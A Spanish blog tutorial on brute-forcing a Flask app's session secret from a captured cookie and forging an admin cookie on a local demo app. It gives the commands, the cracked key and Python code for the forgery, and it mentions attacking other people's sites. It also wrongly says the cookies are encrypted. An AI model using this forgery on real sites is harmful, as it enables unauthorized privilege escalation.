Hace unas semanas empecé a hacer pruebas con Flask, un framework web minimalista para Python.
Flask nos da la posibilidad de tener sesiones, algo similar al $_SESSION[variable] de PHP. La diferencia es que en PHP la cookie de sesión es un identificador aleatorio, y en el servidor se guardan las variables de sesión correspondientes a ese y otros identificadores. En flask, la cookie de sesión tiene el contenido de todas estas variables en JSON, comprimido y cifrado simétricamente con una clave secreta que se elije en la configuración de la aplicación.
Esto significa que si uno conoce o averigua la clave secreta sería capaz de modificar todos los datos de la sesión, es decir, el usuario con el que se logueó, sus privilegios, etc. Datos que no son menores y que podrían causar severos fallos de seguridad. Para mostrar el problema que puede causar publiqué en Github un programa que toma una cookie de sesión de Flask y localmente intenta adivinar cuál es la clave secreta, a partir de palabras de diccionario. Todo este proceso se hace offline, por lo que es mucho más rápido y no deja rastros en la víctima.
Para hacer la prueba es necesario contar con:
- Una PC con GNU/Linux, Python y Flask instalado. Para instalar Flask ejecutar:
sudo pip install Flask
- El cracker y la aplicación de pruba de flask-session-cracker. Para descargar ejecutar:
git clone https://github.com/sh4r3m4n/flask-session-cracker.git
- Un navegador que nos permita ver y editar las cookies de un sitio. Yo usé Chromium con la extensión Edit this cookie
- Un diccionario de contraseñas (o wordlist) para hacer fuerza bruta. Si estamos haciendo las pruebas con nosotros mismos y sabemos que la contraseña es relativamente sencilla pordemos elegir uno de esta página. Si estamos haciendo el ataque a un sitio ajeno conviene usar un diccionario más importante, como el de Crackstarion. Al ser offline el proceso de fuerza bruta, el tiempo que tarda en probar con todas las palabras es relativamente corto (unas 60 horas en mi máquina de 3GHz). Se supone que el diccionario se guarda con el nombre diccionario.txt
- Paciencia mientras se crackea la contraseña
Cuando se descarga flask-session-cracker se incluye una aplicacion de prueba que consta de un login para un usuario guest con contraseña guest que no tiene privilegios, y un usuario admin de contraseña compleja con privilegios. La idea es poder acceder al panel de admin desde guest, la cuenta sin privilegios.
Para correr localmente el servidor ejecutamos:
cd flask-session-cracker
cd demo_app
python main.py
Si todo sale bien, podemos acceder a la aplicación entrando a http://localhost:5000/. Nos logueamos como usuario guest con contraseña guest. Como vemos en la imagen a continuación, tenemos una cookie session, su valor es importante para pasárselo al cracker
Ejecutamos el cracker.py pasándole como argumento el diccionario que descargamos anteriormente y el valor de la cookie:
python cracker.py diccionario.txt «eyJhZG1pbiI6ZmFsc2UsInVzdWFyaW8iOiJndWVzdCJ9.BNr1Lw.nb5dT-U9aN_WAISoeiahcQwToVU»
El resultado de esto es:
Crackedo. Clave: bigsecret
Decodificado: {u’admin’: False, u’usuario’: u’guest’}
Terminado en 39.3967828751 segundos
La clave secreta que elige el usuario es bigsecret. Además de mostrarnos esto, para hacerlo más fácil nos muestra la cookie decodificada, con las variables de sesión correspondientes. Podemos ver que la variable admin es un booleano que posiblemente indique si tenemos privilegios o no, por lo tanto podemos probar cambiarla ejecutando un pequeño código en el intérprete interactivo de Python:
[sh4r3m4n@sh4r3m4n flask-cracker]$ python
Python 2.7.4 (default, Apr 6 2013, 19:20:36)
[GCC 4.8.0] on linux2
Type «help», «copyright», «credits» or «license» for more information.
>>> import cracker
>>> cookie = «eyJhZG1pbiI6ZmFsc2UsInVzdWFyaW8iOiJndWVzdCJ9.BNr1Lw.nb5dT-U9aN_WAISoeiahcQwToVU»
>>> decodificado = cracker.loads(‘bigsecret’, cookie)
>>> print decodificado
{u’admin’: False, u’usuario’: u’guest’}
>>> decodificado[‘admin’] = True
>>> print decodificado
{u’admin’: True, u’usuario’: u’guest’}
>>> nueva_cookie = cracker.dumps(‘bigsecret’, decodificado)
>>> print nueva_cookie
eyJhZG1pbiI6dHJ1ZSwidXN1YXJpbyI6Imd1ZXN0In0.BNr4VA.5ixhWKM4LSqIXWpVX3Dxpyjc5Ps
Link en pastebin: http://pastebin.com/DhMAeqcS
Este último valor sería la nueva cookie, ahora pasamos este valor a la cookie session mediante el gestor de cookies:
Cuando actualicemos la página vamos a ver que esta vez sí tenemos privilegios de admin:
Hecho todo esto, podemos afirmar que el sistema de sesiones está mal implementado, y, si bien no es un bug, puede traer problemas graves a la seguridad de una aplicación web. La única manera de protegernos es escoger una contraseña segura (en el main.py de demo_app se muestra cómo) que sea lo suficientemente larga y que no esté en el diccionario, así tenemos la seguridad de que solo organismos gubernamentales con supercomputadoras puedan nos puedan vulnerar.
Saludos!